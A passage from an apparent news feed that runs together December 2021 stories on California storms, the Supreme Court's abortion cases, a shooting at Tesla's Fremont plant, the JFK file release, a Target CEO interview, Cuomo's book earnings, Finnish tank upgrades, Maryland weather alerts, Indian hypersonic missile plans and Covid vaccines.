away. The search for victims was continuing. Elsewhere in Southern California, San Bernardino County authorities announced evacuation orders as mud and debris flows from fire-ravaged slopes threatened to damage dozens of homes and businesses in mountain and foothill communities including Oak Glen, Yucaipa, Forest Falls, and Nealey's Corner. There were no reports of injuries or property damage on Tuesday morning, though some roads were closed due to mudflow, said San Bernardino County fire spokesman Eric Sherwin. In Orange County, mudslides spilled into the neighborhood of Silverado Canyon, near where the Silverado fire burned in the fall of 2020, the Orange County Fire Authority said on Twitter. Fire crews rescued a number of residents who were trapped inside their homes by the gushing mud. No residents or rescue crew members were injured in the operation. In Riverside, firefighters rescued five adults and two cats from the Santa Ana River at the Mission Inn Avenue bridge, authorities said on Twitter. And in Calabasas, heavy winds ripped trees from their roots along Mulholland Drive, forcing road closures. The storm also took down trees in Whittier, Long Beach and in the Santa Clarita Valley, where minor rockslides and debris flow were also reported. This story originally appeared in Los Angeles Times. Abortion rights advocates demonstrate Dec. 1 in front of the U.S. Supreme Court. (Jose Luis Magana / Associated Press) The Supreme Court is ending the year starkly split on abortion, with the five conservatives showing all signs they will overturn Roe vs. Wade and let state lawmakers decide whether women may legally end a pregnancy. Until this fall, it was at least possible to foresee a moderate-conservative majority coming together to set new limits on abortions later in a pregnancy, while upholding the constitutional protection for a woman to end a pregnancy in the early months. In May, the justices voted to hear Mississippi's appeal of a law that limited abortions to 15 weeks, well below the 24-week limit set by Roe vs. Wade. That move signaled a change, but ruling for Mississippi did not require overturning the right to choose abortion. Such an outcome tightening the time limit while preserving the right to abortion required Justice Brett M. Kavanaugh or Justice Amy Coney Barrett, or both, to join with Chief Justice John G. Roberts Jr., who staked out a middle-ground position. On Roberts' left were three liberal justices who would uphold Roe as it is, and on his right were three conservatives who indicated they would overturn it. Since then, however, three developments have cast doubt on the prospects for a moderate retreat from full abortion rights. First, the court, by a 5-4 vote, stood aside on Sept. 1 while Texas, the nation's most populace red state, put into effect a law that made abortions illegal after six weeks. Known as SB 8, the law authorized private lawsuits against doctors and their clinics, and the state insisted that no one could sue in federal court to stop it because state officials had no role in enforcing the law. The threat of lawsuits worked as intended and shut down nearly all abortions. Having lost in Texas, abortion rights advocates asked the high court to intervene. After all, the law clearly conflicted with the right to abortion as it stood for nearly 50 years, and the justices usually put on hold new laws that threaten to cause an "irreparable harm" to those affected. Roberts joined with the three liberals to block the law, but Kavanaugh and Barrett refused to join them. Next, on Dec. 1, when the court heard arguments in the Mississippi case, only Roberts focused on the 15-week limit. Roe says "women should have a choice to terminate their pregnancy," he said. "If it really is an issue about choice, why is 15 weeks not enough time?" The two abortion rights lawyers dismissed the idea. They said the court must maintain the limit of 24 weeks, the point when Roe stated that a fetus may be viable and capable of living outside the womb. More significant, Kavanaugh and Barrett ignored the issue of the time limit and repeated the arguments for overruling Roe vs. Wade entirely. Twice, Kavanaugh summarized Mississippi's argument that the Constitution is "silent" on abortion. If so, he said, the court should let the states decide on their own. When Julie Rikelman, the attorney for the Center for Reproductive Rights, cited the decades of precedent, Kavanaugh responded that many of the court's greatest decisions reversed flawed and mistaken rulings, citing as a prime example Brown vs. Board of Education overruling segregation. And last week, Kavanaugh and Barrett joined with their three conservative colleagues in an opinion that is likely to keep the Texas abortion ban in effect indefinitely. At issue was whether the doctors and clinics could sue the state and at least some of its officials and thereby permit a federal judge to block the law. During arguments on Nov. 1, Kavanaugh sounded as if he agreed with the challengers. He said Texas had "exploited a loophole" to allow a state to defy the U.S. Constitution. Barrett said doctors had no effective way to shield themselves from ruinous lawsuits, because a hundred separate claims could be filed across Texas over one abortion. Yet, in Friday's decision, they again split with the chief justice and joined the three conservatives in a ruling that will keep the Texas abortion ban in effect. Roberts and the three liberals would have allowed a federal judge to block the state law. Why can't doctors and clinic owners sue the state to shield themselves from a law that is unconstitutional? Because of the "doctrine of sovereign immunity," said Justice Neil M. Gorsuch, writing for the court. This generally means states are shielded from being sued in federal court, he said. The Constitution does not mention such a shield or immunity for the states. And as Justice Sonia Sotomayor observed, it says the opposite. Article VI declares "this Constitution and the Laws of the United States shall be the supreme law of the land and Judges in every state shall be bound thereby," regardless of contrary state laws. Nonetheless, in 1890, the conservative high court that unraveled the Reconstruction laws and upheld racial segregation ruled that states were immune from being sued in federal court without their permission. This decision in Hans vs. Louisiana has survived as a precedent that still enjoys support among the conservatives. In 1908, the court backtracked when railroads were threatened by aggressive state rate regulations. In the case known as Ex Parte Young, the justices said a railroad could win a federal court order blocking the rate-setting law. The workaround: The company could sue the state official tasked with enforcing the law in that instance, Edward Young, the attorney general of Minnesota. That peculiar doctrine formed the backdrop for the fight over the Texas abortion law. It puts a premium on finding the right person to sue. In last week's decision, the five conservatives held that the abortion doctors could not win a federal court order by suing the Texas attorney general or the state judges and their clerks who would handle the lawsuits authorized by SB 8, because they were not tasked with enforcing the law. In dissent, Roberts said the decision undercut the basic principle that constitutional rights are protected throughout the United States. "The Constitution itself becomes a solemn mockery," he wrote, quoting Chief Justice John Marshall, if states are free to "annul" the rulings of the federal courts and "destroy the rights" set out there. "The nature of the federal right infringed does not matter; it is the role of the Supreme Court in our constitutional system that is at stake," Roberts added. Roberts is no liberal and has repeatedly voted against abortion rights in the past. However, as chief justice, he has often tried to steer the court on a middle path to avoid sharp and divisive rulings. But he is no longer in control. "Now the five on his right can just abandon him," said Harvard Law School Professor Richard Lazarus, an environmental law expert who has been a friend of Roberts for more than 40 years. Instead, he said, control rests in the hands of Justices Clarence Thomas and Samuel A. Alito Jr., conservative veterans who have long been determined to reverse the abortion rulings. "We may be seeing the early signs of a disintegration within the court itself," Lazarus added. It may not be until late June that the court hands down its decision in the Mississippi case, Dobbs vs. Jackson Woman's Health. Shortly after the Dec. 1 argument, the justices met behind closed doors to vote on the outcome. During such meetings, they speak in order of seniority, beginning with the chief justice. Based on Roberts' comments, he almost certainly voted to uphold the Mississippi law on the grounds that its 15-week limit gave women enough time to choose. Thomas, who spoke next, has argued for overturning the abortion decision since 1992, and he has never waivered. If Kavanaugh and Barrett agreed with the chief justice, the court could issue an opinion that limits but does not overturn the right to abortion. But if they agreed with Thomas, the majority is at work on an opinion that goes much further. Overturning Roe vs. Wade has been a chief goal of the conservative legal movement for decades. Friday's decision was the latest sign the movement is on the verge of winning. The success of the Texas law and its bounty-hunter provision prompted Gov. Gavin Newsom to propose that California authorize private lawsuits against makers and sellers of assault weapons. Legal experts say other copycat measures may be coming, but they are not likely to be as effective as the abortion law in Texas. Elizabeth Wydra, president of the progressive Constitutional Accountability Center, noted that in last week's opinion, Gorsuch did not say the Texas abortion law was unconstitutional. "That certainly does not bode well for abortion rights," she said, adding that the decision likely foreshadows the opinion to come in the Mississippi case. This story originally appeared in Los Angeles Times. The Tesla plant in Fremont, Calif., where a man was found fatally shot in a parking lot Monday. Detectives said the suspect had walked off the job after arguing with the victim earlier in the day. (Ben Margot / Associated Press) A Tesla employee in Northern California is dead and another has been arrested after a fatal shooting outside the company's Fremont factory on Monday afternoon. Detectives arrested Anthony Solima, 29, of Milpitas on a homicide warrant Monday night, according to the Fremont Police Department. Jail records show Solima is being held on suspicion of murder and is scheduled to be arraigned Thursday afternoon. Tesla representatives did not respond to emails from The Times seeking comment on Monday or Tuesday. The incident began with a call for medical aid, police said. Firefighters responded at 3:26 p.m. to a parking lot at Tesla's factory in the 45000 block of Fremont Boulevard, police said. Upon arrival, they found a man who was unresponsive and had suffered a visible injury. Firefighters called for police, and officers determined the victim suffered at least one gunshot wound. He was pronounced dead by medical personnel shortly after. Officers began their investigation, recovering several spent .223-caliber rifle casings, police said. Homicide detectives said the victim had finished his shift at the factory and walked out to the parking lot where he was shot. "Within several hours, detectives developed leads on a potential suspect who also worked with the victim," police said. "Detectives learned that the victim and suspect had been arguing earlier in the day and that the suspect had suddenly walked off the job." Detectives found Solima in Milpitas and surveilled him while other detectives worked to solidify the case, police said. The surveillance team continued to monitor Solima "until an opportunity presented itself to arrest [him] when he exited his vehicle." Solima surrendered immediately, police said. Investigators found a loaded, non-serialized, .223-caliber, short-barrel rifle in his car along with a shell casing. Police confirmed to The Times that the gun was a "ghost gun." These firearms are typically made from 3-D-printed polymer parts. The guns can be assembled at home using kits and are often relatively inexpensive. Because they are not made by licensed manufacturers, they lack serial numbers, making them impossible to track. This year, the Los Angeles Police Department declared ghost guns an epidemic. Fremont police are continuing their investigation into Monday's shooting. The victim hasn't yet been publicly identified. Anyone with information about the case, or who recognizes Solima from the day of the shooting, is asked to call Fremont police at (510) 790-6900 or email Det. Michael Gebhardt at mgebhardt@fremont.gov. Anonymous tips can be submitted by texting "Tip FremontPD," followed by a short message, to 888777. This story originally appeared in Los Angeles Times. WASHINGTON (AP) The National Archives on Wednesday made public nearly 1,500 documents related to the U.S. government's investigation into the 1963 assassination of President John F. Kennedy. The disclosure of secret cables, internal memos and other documents satisfies a deadline set in October by President Joe Biden and is in keeping with a federal statute that calls for the release of records in the government's possession. Additional documents are expected to be made public next year. There was no immediate indication that the records contained new revelations that could radically reshape the public's understanding of the events surrounding the Nov. 22, 1963, assassination of Kennedy in Dallas at the hands of gunman Lee Harvey Oswald. But the latest tranche of documents was nonetheless eagerly anticipated by historians and others who, decades after the Kennedy killing, remain skeptical that, at the height of the Cold War, a troubled young man with a mail-order rifle was solely responsible for an assassination that changed the course of American history. The documents include CIA cables and memos discussing Oswalds previously disclosed but never fully explained visits to the Soviet and Cuban embassies in Mexico City as well as discussion, in the days after the assassination, of the potential for Cuban involvement in the killing of Kennedy. One CIA cable describes how Oswald phoned the Soviet embassy while in Mexico City to ask for a visa to visit the Soviet Union. He also visited the Cuban embassy, apparently interested in a travel visa that would permit him to visit Cuba and wait there for a Soviet visa. On Oct. 3, more than one month before the assassination, he drove back into the United States through a crossing at the Texas border. Another memo, dated the day after Kennedy's assassination, says that according to an intercepted phone call in Mexico City, Oswald communicated with an identified KGB officer while at the Soviet embassy that September. After Kennedy was killed, Mexican authorities arrested a Mexican employee of the Cuban embassy with whom Oswald had communicated, and she said Oswald had professed to be a Communist and an admirer of Castro, according to the cable. One CIA document marked Secret Eyes Only traces U.S. government plots to assassinate the Cuban leader at the time, Fidel Castro, including a 1960 plot that involved the use of the criminal underworld with contacts inside Cuba. Another document weighs whether Oswald, while living in New Orleans, may have been affected in any way by the publication in the local newspaper of an interview an Associated Press correspondent conducted with Castro in which Castro warned of retribution if the U.S. were to take out Cuban leaders. The new files include several FBI reports on the bureaus efforts to investigate and surveil major mafia figures like Santo Trafficante Jr. and Sam Giancana, who are often mentioned in conspiracy theories surrounding Kennedys assassination. Apart from the Kennedy investigation, some of the material would be of interest to scholars or anyone interested in the minutiae of 1960s counterespionage, with pages and pages of arcane details on such things as the methods, equipment and personnel used to surveil the Cuban and Soviet embassies in Mexico City. In blocking the release of hundreds of records in 2017 because of concerns from the FBI and the CIA, President Donald Trump cited potentially irreversible harm." Even so, about 2,800 others were released at that time. The Warren Commission in 1964 concluded that Oswald had been the lone gunman, and another congressional probe in 1979 found no evidence to support the theory that the CIA had been involved. But other interpretations have persisted. _____ Associated Press writers Ben Fox and Nomaan Merchant in Washington and Alan Suderman in Richmond, Virginia, contributed to this report. NEW YORK (AP) Target is heading into the final stretch of the holiday season with lots of momentum. CEO Brian Cornell reports that holiday sales have continued to stay strong even amid worries about the new omicron variant. Like its big box rivals, Target has been able to defy industrywide challenges like labor shortages, inflation and supply chain snarls as the discounter keeps its shelves full and arms itself with a full seasonal staff of 100,000. Under Cornell's stewardship, Target had been accelerating its online services such as curbside pickup and same-day services while sprucing up its stores well before the pandemic. The company raised its minimum wage to $15 per hour in 2020, a commitment it pledged in 2017 and well ahead of many grocery rivals. Still, Cornell predicts that supply chain issues will be around for several years, and he is monitoring to see how inflation will affect shopping habits at Target. The Associated Press recently interviewed Cornell, 62, on a wide variety of topics from omicron to inflation and wages as well Target's decision to no longer open its stores on Thanksgiving. His responses have been edited for clarity and length. Q. How worried are you about omicron? A. We're going to continue to make sure we work with the experts. Weve had a dedicated team in place, a coronavirus task force team that we set up all the way back in January of 2020. And theyre going to continue to guide us through the steps that we have to take to make sure were focused on the safety of our team and the safety of our guests. Q. Have you seen any changes in shopping behavior because of omicron? A. Im seeing guest shopping at our stores, shopping all of our categories. So I havent seen any changes in the shopping patterns that we were expecting. But as youve seen us throughout the pandemic, we know weve got to flex based on the guests' needs so that if they suddenly decide to shift from using stores or going back to the same day services, were ready for them. Q. Which habits will stick when the pandemic is over? A. I expect stores will continue to be really important going forward. And obviously, Americans have learned how to use their smartphones and tablets to shop online. And I think were seeing all cohorts embracing both shopping in-store and using our same day services, and I think same-day services are going to be sticky for years to come. Q. What do you think is driving the dissatisfaction among retail workers? A. I really cant speak for whats happening in other industries and other companies. But I know our teams want a chance to have a rewarding career at a place where they want to work and it shows up in our engagement and retention numbers each and every week. Q. How are you thinking about wages? A. We did provide an extra $2 for our teams on (holiday) weekends. And while $15 is the mark weve set city by city, town by town, we evaluate what our wage should be to ensure that we are competitive, were attracting and retaining talent. Q. Do you think Target will lose workers over the federal vaccine mandate? A. It's really hard to tell at this point. And again, we want to make sure that weve provided an opportunity for our team members to have the options that are being prescribed. So whether it's vaccination or testing, we want to make sure we offer them those options and hopefully they continue to find Target a great place to work. Q. What percentage of Target workers are vaccinated? A. We're pulling together that information. I dont have it yet, but we certainly will be in a position as we go into the first part of the year to understand exactly what percent have been vaccinated and what team members will be required to have weekly testing. Q. Has inflation changed shopping habits at Target? A. I think its still just too early. We're going to learn a lot more about how the consumer reacts to inflationary pricing over the next six months. And do they choose an alternative brand? Do they decide to purchase one of our own brands? So, well watch that very carefully. Q. When do you think the supply chain issues will ease? A. I think this is going to be something thats going to take place over a number of years as we make the investments and really take our supply chain capabilities across the United States to another level. We have the inventory in the system in place to meet their needs. But its the supply chain pressures that are not going to go away on January 1st. Its really driven by just incredibly strong demand and a very healthy U.S. consumer. Q. Target announced that it will permanently close it stores on Thanksgiving. Why haven't other major retailers followed your lead? A. Im not sure what theyre going to do, but we stepped back and said, Whats the right thing for our team? Whats the right thing for our guests?' And it was really clear to me how important it was to allow our team members to enjoy Thanksgiving with their friends and family. Follow Anne DInnocenzio: http://twitter.com/ADInnocenzio (Reuters) - An ethics panel in New York on Tuesday ordered former Governor Andrew Cuomo to return $5.1 million he received for his memoir after finding he failed to follow state ethics regulations, a spokesperson with the commission said. The Joint Commission on Public Ethics voted 12-1 to approve the order, the spokesperson said. Reuters has not seen the commission's full resolution. Cuomo has 30 days to surrender the money he made for writing the book "American Crisis: Leadership Lessons from the COVID-19 Pandemic" to the state. The state attorney generals office will have the authority to decide how the funds are dispersed, the New York Times reported. In a statement, Cuomo lawyer Jim McGuire vowed to fight the order. "JCOPEs actions today are unconstitutional, exceed its own authority and appear to be driven by political interests rather than the facts and the law," McGuire said. "Should they seek to enforce this action, well see them in court." In November, the commission found Cuomo failed to meet state regulations that dictate the outside activities of public officials, such as writing a book in exchange for royalties or other compensation. The commission said Cuomo violated a requirement not to use state resources to complete the book and misrepresented how long it would take to complete. Cuomo, a Democrat, stepped down as governor in August after multiple allegations of sexual misconduct. He has denied any wrongdoing. He was initially lauded for his handling of a crippling coronavirus outbreak in New York. But praise turned to blame when media reported allegations of misconduct, including the under-reporting of nursing home deaths. Cuomo's book was published in October 2020 by The Crown Publishing Group, a subsidiary of Penguin Random House. Cuomo has donated $500,000 of the proceeds to charity and placed another $1 million in a trust for his daughters, the Times reported. (Reporting by Brendan O'Brien in Chicago; Editing by Aurora Ellis) Thank you for reading! Please log in, or sign up for a new account and purchase a subscription to continue reading. Marysville, CA (95901) Today Cloudy skies early, followed by partial clearing. Low around 45F. Winds light and variable.. Tonight Cloudy skies early, followed by partial clearing. Low around 45F. Winds light and variable. YEREVAN, DECEMBER 15, ARMENPRESS. Russia welcomes the processes of normalization of Armenian-Turkish relations, ARMENPRESS reports the representative of the Russian Ministry of Foreign Affairs Maria Zakharova said at a press conference. "We assume that the normalization of Armenian-Turkish relations will contribute to the improvement of the general situation in the region, will contribute to the formation of an atmosphere of neighborliness, trust and confidence in the region and among the peoples. From this point of view, we welcome Ankara's and Yerevans recent willingness to start a bilateral dialogue to discuss normalization of relations, Zakharova said. As for the appointment of representatives by the two countries, Zakharova said it was a logical, reasonable step. "We are ready to support that process by all means," Zakharova concluded. Earlier, the Armenian Foreign Ministry stated that Armenia, like always in the past, is now ready for the process of normalization of relations with Turkey without preconditions, which is enshrined in the Armenian Government Action Plan. "In this regard, we welcome the statement of the Turkish Foreign Minister on the appointment of a special envoy for the normalization of relations, confirming that the Armenian side will appoint a special envoy for this dialogue," spokesman of MFA Armenia Vahan Hunanyan said. According to information published by the Defense Minister of Finland on December 7, 2021, the Ministry of Defense has authorized the Defense Forces to sign an agreement with the German Krauss-Maffei Wegmann GmbH & Co KG to upgrade the fire control system of the Armys Leopard 2 A4 and Leopard 2A6 main battle tanks. The work is scheduled to start at the beginning of 2022 and to be completed during 2026. Follow Army Recognition on Google News at this link Finnish army Leopard 2A6 main battle tank. (Picture source Finnish Defence Forces) Finland bought 124 used Leopard 2A4 tanks and six armored bridge-layer Leopard 2L tanks from Germany in 2002 and 2003. Finland has also acquired 100 second-hand Leopard 2A6 from the Netherlands that were delivered between 2015 and 2019. According to the military balance 2020, the Finnish army has a total 100 Leopard 2A6 and 100 Leopard 2A4 in store. The performance of Leopard 2 A4 and 2 A6 battle tanks procured from Germany and the Netherlands will be upgraded. The expert resources of Millog Oy, the strategic partner of the Defense Forces, will also be used for installation work and logistics, with a domestic employment effect of approximately 3 to 4 person-years. The overall value of the procurement, with options and without value added tax, is about EUR 10 million. It will be financed by the funds for defense material procurement that are budgeted for this purpose. The Leopard 2A4 is a German-made main battle tank designed and manufactured by the Company Krauss-Maffei Wegmann, the successor of the main battle tank Leopard 1. The first preproduction Leopard 2 MBT was delivered to the German Army late in 1978 for training. The first production Leopard 2 was handed over by Krauss-Maffei in October 1979 in Munich. The Leopard 2A4 is armed with a 120 mm smoothbore gun which has been developed by Rheinmetall and fires two types of ammunition, APFSDS-T, and HEAT-MP-T. The APFSDS-T has an effective range of over 2,000 m and the HEAT-MP-T has a high degree of effectiveness against both soft and hard targets The Leopard 2A6 is one of the latest generations of the main battle tanks from the family of German Leopard. The Leopard 2 was developed and manufactured by the German Defence Company Krauss-Maffei Wegmann based on the Leopard 2A5 main battle tank. In March 2001, Krauss-Maffei Wegmann handed over to the German Army the first upgraded Leopard 2A6 series Main Battle Tank (MBT) armed with the new Rheinmetall 120 mm L/55 smoothbore tank gun. Germany to replace the shorter 120mm L44 smoothbore tank gun on the first version of Leopard 2. With the improved kinetic energy ammunition DM53 the L55 gun can fire to a range of 5,000 m. The Leopard 2A6 is fitted with improved armor protection over the frontal arc with the turret front having a distinctive arrowhead shape. This provides a significant increase in protection against both kinetic and chemical energy attacks. The turret interior has been fitted with spall liners. The side skirts also incorporate composite improved armor. The new externally mounted armor panels can be removed with onboard equipment and can be replaced by armor modules with a higher level of protection. Finnish army Leopard 2A4 main battle tank. (Picture source Wikipedia) Weather Alert ...SMALL CRAFT ADVISORY IN EFFECT UNTIL 8 AM EST THURSDAY... ...SMALL CRAFT ADVISORY IN EFFECT FROM 9 PM THURSDAY TO 6 AM EST FRIDAY... ...GALE WATCH REMAINS IN EFFECT FROM FRIDAY MORNING THROUGH FRIDAY AFTERNOON... * WHAT...For the first Small Craft Advisory, west winds 10 to 15 kt with gusts up to 20 kt expected. For the second Small Craft Advisory, north winds 10 to 20 kt with gusts up to 30 kt expected. For the Gale Watch, northwest winds 15 to 20 kt with gusts up to 35 kt and waves 2 to 4 ft possible. * WHERE...Chesapeake Bay from Pooles Island MD to Smith Point VA, Tidal Potomac from Cobb Island MD to Smith Point VA, Chester River to Queenstown MD, Eastern Bay, Choptank River to Cambridge MD and the Little Choptank River, and Tangier Sound and the inland waters surrounding Bloodsworth Island. * WHEN...For the Small Craft Advisory, until 8 AM EST Thursday. For the Small Craft Advisory, from 9 PM Thursday to 6 AM EST Friday. For the Gale Watch, from Friday morning through Friday afternoon. * IMPACTS...Strong winds can cause hazardous waves which could capsize or damage vessels and reduce visibility. PRECAUTIONARY/PREPAREDNESS ACTIONS... Mariners should consider altering plans to avoid possible hazardous conditions. Remain in port, seek safe harbor, alter course, and/or secure the vessel for severe wind and waves. && ...SMALL CRAFT ADVISORY IN EFFECT UNTIL 8 AM EST THURSDAY... ...SMALL CRAFT ADVISORY IN EFFECT FROM 9 PM THURSDAY TO 6 AM EST FRIDAY... ...GALE WATCH REMAINS IN EFFECT FROM FRIDAY MORNING THROUGH FRIDAY AFTERNOON... * WHAT...For the first Small Craft Advisory, west winds 10 to 15 kt with gusts up to 20 kt expected. For the second Small Craft Advisory, north winds 10 to 20 kt with gusts up to 30 kt expected. For the Gale Watch, northwest winds 15 to 20 kt with gusts up to 35 kt and waves 2 to 4 ft possible. * WHERE...Chesapeake Bay from Pooles Island MD to Smith Point VA, Tidal Potomac from Cobb Island MD to Smith Point VA, Chester River to Queenstown MD, Eastern Bay, Choptank River to Cambridge MD and the Little Choptank River, and Tangier Sound and the inland waters surrounding Bloodsworth Island. * WHEN...For the Small Craft Advisory, until 8 AM EST Thursday. For the Small Craft Advisory, from 9 PM Thursday to 6 AM EST Friday. For the Gale Watch, from Friday morning through Friday afternoon. * IMPACTS...Strong winds can cause hazardous waves which could capsize or damage vessels and reduce visibility. PRECAUTIONARY/PREPAREDNESS ACTIONS... Mariners should consider altering plans to avoid possible hazardous conditions. Remain in port, seek safe harbor, alter course, and/or secure the vessel for severe wind and waves. && ...SMALL CRAFT ADVISORY IN EFFECT UNTIL 8 AM EST THURSDAY... ...SMALL CRAFT ADVISORY IN EFFECT FROM 9 PM THURSDAY TO 6 AM EST FRIDAY... ...GALE WATCH REMAINS IN EFFECT FROM FRIDAY MORNING THROUGH FRIDAY AFTERNOON... * WHAT...For the first Small Craft Advisory, west winds 10 to 15 kt with gusts up to 20 kt expected. For the second Small Craft Advisory, north winds 10 to 20 kt with gusts up to 30 kt expected. For the Gale Watch, northwest winds 15 to 20 kt with gusts up to 35 kt and waves 2 to 4 ft possible. * WHERE...Chesapeake Bay from Pooles Island MD to Smith Point VA, Tidal Potomac from Cobb Island MD to Smith Point VA, Chester River to Queenstown MD, Eastern Bay, Choptank River to Cambridge MD and the Little Choptank River, and Tangier Sound and the inland waters surrounding Bloodsworth Island. * WHEN...For the Small Craft Advisory, until 8 AM EST Thursday. For the Small Craft Advisory, from 9 PM Thursday to 6 AM EST Friday. For the Gale Watch, from Friday morning through Friday afternoon. * IMPACTS...Strong winds can cause hazardous waves which could capsize or damage vessels and reduce visibility. PRECAUTIONARY/PREPAREDNESS ACTIONS... Mariners should consider altering plans to avoid possible hazardous conditions. Remain in port, seek safe harbor, alter course, and/or secure the vessel for severe wind and waves. && ...COASTAL FLOOD ADVISORY NOW IN EFFECT UNTIL 1 AM EST THURSDAY... * WHAT...Up to one half foot of inundation above ground level in low lying areas due to tidal flooding. * WHERE...Shoreline in Anne Arundel County. * WHEN...Until 1 AM EST Thursday, especially around the time of high tide. * IMPACTS...At 3.0 feet, Compromise Street begins to flood in Annapolis. Flooding of much of the City Dock parking lot is occurring. * ADDITIONAL DETAILS...Tides one and a half to two feet above normal. The next high tide at Annapolis U.S. Naval Academy is at 7:48 PM. PRECAUTIONARY/PREPAREDNESS ACTIONS... If travel is required, allow extra time as some roads may be closed. Do not drive around barricades or through water of unknown depth. Take the necessary actions to protect flood-prone property. && Time of high total tides are approximate to the nearest hour. Severn River at Annapolis MLLW Categories - Minor 2.6 ft, Moderate 3.3 ft, Major 6.0 ft MHHW Categories - Minor 1.2 ft, Moderate 1.9 ft, Major 4.6 ft Total Total Departure Day/Time Tide Tide from Norm Waves Flood ft MLLW ft MHHW ft ft Impact -------- --------- --------- --------- ------- -------- 05/08 PM 3.0 1.6 1.9 1 Minor 06/07 AM 2.1 0.7 1.6 0 None 06/08 PM 2.0 0.6 1.1 0 None 07/08 AM 1.1 -0.3 0.5 1 None 07/09 PM 1.0 -0.4 0.2 0 None 08/09 AM 0.6 -0.8 0.0 0 None && ...WINTER WEATHER ADVISORY REMAINS IN EFFECT FROM 9 PM THURSDAY TO 5 AM EST FRIDAY... * WHAT...Snow. Total snow accumulations of 2 to 4 inches. Isolated high amounts of around 5 inches are possible. * WHERE...The District of Columbia, portions of central, north central, northeast, northern and southern Maryland and northern Virginia. * WHEN...From 9 PM Thursday to 5 AM EST Friday. * IMPACTS...Plan on slippery road conditions. The hazardous conditions could impact the Friday morning commute. * ADDITIONAL DETAILS...The heaviest snow is expected between 10 PM and 2 AM when snowfall rates of 1 inch per hour are possible. PRECAUTIONARY/PREPAREDNESS ACTIONS... Slow down and use caution while traveling. When venturing outside, watch your first few steps taken on steps, sidewalks, and driveways, which could be icy and slippery, increasing your risk of a fall and injury. && The defence minister said countries that have done defence innovation are the ones who have bested their enemies and left a mark on history Minister for Defence Rajnath Singh hands over the Defence Research & Development Organisation developed products to Armed Forces and other security agencies, at an event in New Delhi, Tuesday, December 14, 2021. (PTI) New Delhi: Amid global concern over China recently testing a nuclear-capable hypersonic missile, defence minister Rajnath Singh said on Tuesday that India must immediately move towards developing hypersonic cruise missiles to maintain minimum credible deterrence against its enemies. Mr Singh pointed out that ballistic missile defence systems are getting more and more robust with the passage of time. In order to maintain a minimum credible deterrence, we have to immediately think about hypersonic cruise missile development. It will be a revolutionary step in our defence sector and we all have to put our efforts into it, he at a ceremony while handing over five Defence Research and Development Organisation (DRDO) developed products to the armed forces and other security agencies. The defence minister said countries that have done defence innovation are the ones who have bested their enemies and left a mark on history. We should, therefore, strengthen ourselves and be ready to deal with any kind of situation, he said. The defence minister said it should be ensured that India was a leader when it comes to defence technologies. We have to obtain those technologies too that are with just a few countries right now, said Mr Singh. China had recently tested a nuclear-capable hypersonic missile which circled the globe before moving towards its target. This could give China a space-based global strike capability and reduce the amount of target warning time prior to a strike. Hypersonic weapons fly at speeds of at least Mach 5 (five times the speed of sound) but are more manoeuvrable than ballistic missiles. These could challenge detection and defences due to their speed and low altitude of flight. A US Congressional Research Service report in October said India had collaborated with Russia on the development of BrahMos-II, a Mach 7 hypersonic cruise missile. Although BrahMos-II was initially intended to be fielded in 2017, news reports indicate that the programme faces significant delays and is now scheduled to achieve initial operational capability between 2025 and 2028, said the report. It said India is also developing an indigenous, dual-capable hypersonic cruise missile as part of its Hypersonic Technology Demonstrator Vehicle programme and successfully tested a Mach 6 Scramjet in June 2019 and September 2020. Mr Singh said that today, in the battlefield, there is a new warrior called technology. The way technologys role has increased in the battlefield is amazing and unprecedented, he noted. Therefore, defence technologies with India must catch up with the future, he added. The products handed over to the armed forces and the home ministry by the defence minister include an anti-drone system, modular bridge, smart anti-airfield weapon, and the lightweight firefighting suit. The counter drone systems, developed by DRDO, is for detection, deterrence and destruction of incoming drones. Mr Singh also handed over a Smart Anti-Airfield Weapon (SAAW), an air-launched, long-range, stand-off, air-to-surface Smart Bomb, to the Chief of the Air Staff, Air Chief Marshal V.R. Chaudhari. ndia is yet to start vaccinating children below 18, who form 40 per cent of the countrys population New Delhi: The Serum Institute of India (SII) is working towards developing a Covid-19 vaccine booster shot that will be effective against coronavirus variants including Omicron, Pune-based pharma giant CEO Adar Poonawalla said Tuesday. He also said SII has reached the trial phase of a coronavirus vaccine for children above three years and that it should be ready within the next six months. Mr Poonawallas statement comes as about 50 cases of Omicron have already been detected in several states. India is yet to start vaccinating children below 18, who form 40 per cent of the countrys population. Five Covid-19 vaccines have already been granted permission to conduct clinical trials in children and adolescents by the Central Drugs Standard Control Organisation (CDSCO). These vaccines are Cadila Healthcares ZyCoV-D, Bharat Biotechs Covaxin, Serum Institutes Covovax, Biological Es RBD, and the Johnson & Johnson and Ad 26COV.2S vaccine. As far as the countrys adult population is concerned, over 55 per cent people have received both Covid-19 vaccine doses and 87 per cent have got only first dose. The National Technical Advisory Group on Immunisation (NTAGI) and the National Expert Group on Vaccine Administration for Covid-19 (NEGVAC) are currently deliberating and considering scientific evidence related to the administration of booster doses as well as vaccination of beneficiaries aged less than 18 years. The Centre recently told the Delhi high court it is considering evidence on the need and justification for booster doses. The Subject Expert Committee (SEC), which is reviewing SIIs application for the booster dose, recently said booster doses cant be recommended without clinical trials. SII had sought approval to administer the booster dose of its Covishield vaccine on the basis of an adequate stock of the jabs and the rising demand for booster shots. The current vaccine production capacity of SIIs Covishield is around 250-275 million doses per month, while it is about 50-60 million doses per month for Bharat Biotechs Covaxin. Both companies are said to have achieved close to 90 per cent of their present production capacity. Speaking at the CII Partnership Summit 2021, organised in association with the Department for Promotion of Industry and Internal Trade (DPIIT), Ministry of Commerce and Industry, Mr Poonawalla said: On the back of enough data, it is safe to say that booster vaccines are a proven strategy to get antibodies up to a great extent. On vaccinations for children, Mr Poonawalla said: We havent seen a lot of severe disease in children. Fortunately, panic is not there for children. However, we will be launching a vaccine in six months for children, hopefully down to the age of three. Mr Poonawalla noted two companies in India are licensed and their vaccines will be available soon. I think yes, you should take and get your children vaccinated. There is no harm, these vaccines have been proven to be safe and efficacious and all of that. If you feel you want to get your children vaccinated, by all means wait for government announcements on that and you go ahead with that. Our vaccine Covovax will be launched for children in six months, Mr Poonawalla said, adding that Covovax was under trial and had shown excellent data all the way down to the age group of three years. Further, he said there was enough data to show that the vaccines will work and protect children against the infectious disease. He pointed out that so far nothing can be said about the Omicron variant, and how it would impact children. I dont know what will happen with Omicron, but so far children have not been affected very badly with this (Covid-19) virus. I think their body, cells and their lungs recover better. Some of the chief ministers will also be accompanied by their family members BJP National President J.P. Nadda with Madhya Pradesh Chief Minister Shivraj Singh Chauhan, Haryana Chief Minister Manohar Lal Khattar and other dignitaries, poses for photographs near the statue of Pandit Deen Dayal Upadhyay after paying him obeisance, in Varanasi, Tuesday, 